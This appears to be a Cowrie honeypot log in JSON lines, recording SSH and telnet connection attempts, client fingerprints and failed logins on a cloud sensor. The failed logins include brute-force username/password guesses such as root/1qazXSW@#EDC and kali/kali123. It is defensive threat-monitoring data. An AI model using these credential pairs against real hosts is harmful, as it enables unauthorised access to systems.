{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:16.023446Z","src_ip":"103.148.100.146","session":"14eb61f10146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46578,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3d4c0a0911c","protocol":"telnet","message":"New connection: 69.4.83.194:46578 (159.203.135.109:23) [session: f3d4c0a0911c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:16.229953Z"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali123","message":"login attempt [kali/kali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:17.148892Z","src_ip":"103.148.100.146","session":"14eb61f10146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:18.431213Z","src_ip":"103.148.100.146","session":"14eb61f10146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":31397,"dst_ip":"159.203.135.109","dst_port":22,"session":"952f43762361","protocol":"ssh","message":"New connection: 223.197.186.7:31397 (159.203.135.109:22) [session: 952f43762361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:27.472744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:27.479352Z","src_ip":"223.197.186.7","session":"952f43762361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:27.707964Z","src_ip":"223.197.186.7","session":"952f43762361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":59776,"dst_ip":"159.203.135.109","dst_port":22,"session":"c04fa9b7aa04","protocol":"ssh","message":"New connection: 81.70.224.28:59776 (159.203.135.109:22) [session: c04fa9b7aa04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:28.251698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:28.256887Z","src_ip":"81.70.224.28","session":"c04fa9b7aa04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:28.485896Z","src_ip":"81.70.224.28","session":"c04fa9b7aa04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"staging","password":"staging123","message":"login attempt [staging/staging123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:28.630990Z","src_ip":"223.197.186.7","session":"952f43762361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan123","message":"login attempt [ivan/ivan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:29.434462Z","src_ip":"81.70.224.28","session":"c04fa9b7aa04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40646,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eefbb513053","protocol":"ssh","message":"New connection: 46.19.67.181:40646 (159.203.135.109:22) [session: 8eefbb513053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:29.702588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:29.712119Z","src_ip":"46.19.67.181","session":"8eefbb513053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:29.827676Z","src_ip":"46.19.67.181","session":"8eefbb513053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:29.850195Z","src_ip":"223.197.186.7","session":"952f43762361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fyfcnfcbz123","message":"login attempt [root/fyfcnfcbz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:30.188401Z","src_ip":"46.19.67.181","session":"8eefbb513053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:30.666389Z","src_ip":"81.70.224.28","session":"c04fa9b7aa04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:31.310151Z","src_ip":"46.19.67.181","session":"8eefbb513053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52500,"dst_ip":"159.203.135.109","dst_port":23,"session":"73ffaf491e7e","protocol":"telnet","message":"New connection: 69.4.83.194:52500 (159.203.135.109:23) [session: 73ffaf491e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:31.940069Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53324,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9a7f9bf5877","protocol":"telnet","message":"New connection: 69.4.83.194:53324 (159.203.135.109:23) [session: a9a7f9bf5877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:34.231243Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54344,"dst_ip":"159.203.135.109","dst_port":23,"session":"35046198f296","protocol":"telnet","message":"New connection: 69.4.83.194:54344 (159.203.135.109:23) [session: 35046198f296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:37.938040Z"}
{"eventid":"cowrie.session.closed","duration":30.838793516159058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:42.216105Z","src_ip":"50.62.181.92","session":"811c4b5c784c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55506,"dst_ip":"159.203.135.109","dst_port":23,"session":"02fefda6ab51","protocol":"telnet","message":"New connection: 69.4.83.194:55506 (159.203.135.109:23) [session: 02fefda6ab51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:43.012286Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57456,"dst_ip":"159.203.135.109","dst_port":23,"session":"e028e6f7424d","protocol":"telnet","message":"New connection: 69.4.83.194:57456 (159.203.135.109:23) [session: e028e6f7424d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:45.913993Z"}
{"eventid":"cowrie.session.closed","duration":33.15795135498047,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:49.387751Z","src_ip":"69.4.83.194","session":"f3d4c0a0911c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":33182,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c5690b511d","protocol":"ssh","message":"New connection: 69.6.221.248:33182 (159.203.135.109:22) [session: a4c5690b511d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:56.823279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:56.828451Z","src_ip":"69.6.221.248","session":"a4c5690b511d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:56.941834Z","src_ip":"69.6.221.248","session":"a4c5690b511d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"torrent","password":"torrent","message":"login attempt [torrent/torrent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:57.478388Z","src_ip":"69.6.221.248","session":"a4c5690b511d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:17:58.596183Z","src_ip":"69.6.221.248","session":"a4c5690b511d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.610376834869385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:05.550302Z","src_ip":"69.4.83.194","session":"73ffaf491e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36864,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b7bf8b7d570","protocol":"telnet","message":"New connection: 69.4.83.194:36864 (159.203.135.109:23) [session: 0b7bf8b7d570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:07.757111Z"}
{"eventid":"cowrie.session.closed","duration":34.69780111312866,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:08.929055Z","src_ip":"69.4.83.194","session":"a9a7f9bf5877","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.00285029411316,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:10.940765Z","src_ip":"69.4.83.194","session":"35046198f296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.806724071502686,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:18.818855Z","src_ip":"69.4.83.194","session":"02fefda6ab51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46172,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb8ad2af2d58","protocol":"ssh","message":"New connection: 103.98.149.87:46172 (10.17.0.5:22) [session: fb8ad2af2d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:18.884616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:18.949567Z","src_ip":"103.98.149.87","session":"fb8ad2af2d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:19.201797Z","src_ip":"103.98.149.87","session":"fb8ad2af2d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":53706,"dst_ip":"159.203.135.109","dst_port":22,"session":"f418b76fb55d","protocol":"ssh","message":"New connection: 167.172.174.185:53706 (159.203.135.109:22) [session: f418b76fb55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:19.208458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:19.213718Z","src_ip":"167.172.174.185","session":"f418b76fb55d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:19.305688Z","src_ip":"167.172.174.185","session":"f418b76fb55d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@#EDC","message":"login attempt [root/1qazXSW@#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:19.706186Z","src_ip":"167.172.174.185","session":"f418b76fb55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.99462819099426,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:19.908501Z","src_ip":"69.4.83.194","session":"e028e6f7424d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"fortune","message":"login attempt [root/fortune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:20.268475Z","src_ip":"103.98.149.87","session":"fb8ad2af2d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:20.805916Z","src_ip":"167.172.174.185","session":"f418b76fb55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:21.763963Z","src_ip":"103.98.149.87","session":"fb8ad2af2d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.14158892631531,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:18:42.898549Z","src_ip":"69.4.83.194","session":"0b7bf8b7d570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":38818,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b5a12ecccea","protocol":"ssh","message":"New connection: 103.77.175.15:38818 (159.203.135.109:22) [session: 2b5a12ecccea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:06.297632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:06.302030Z","src_ip":"103.77.175.15","session":"2b5a12ecccea","protocol":"ssh"}
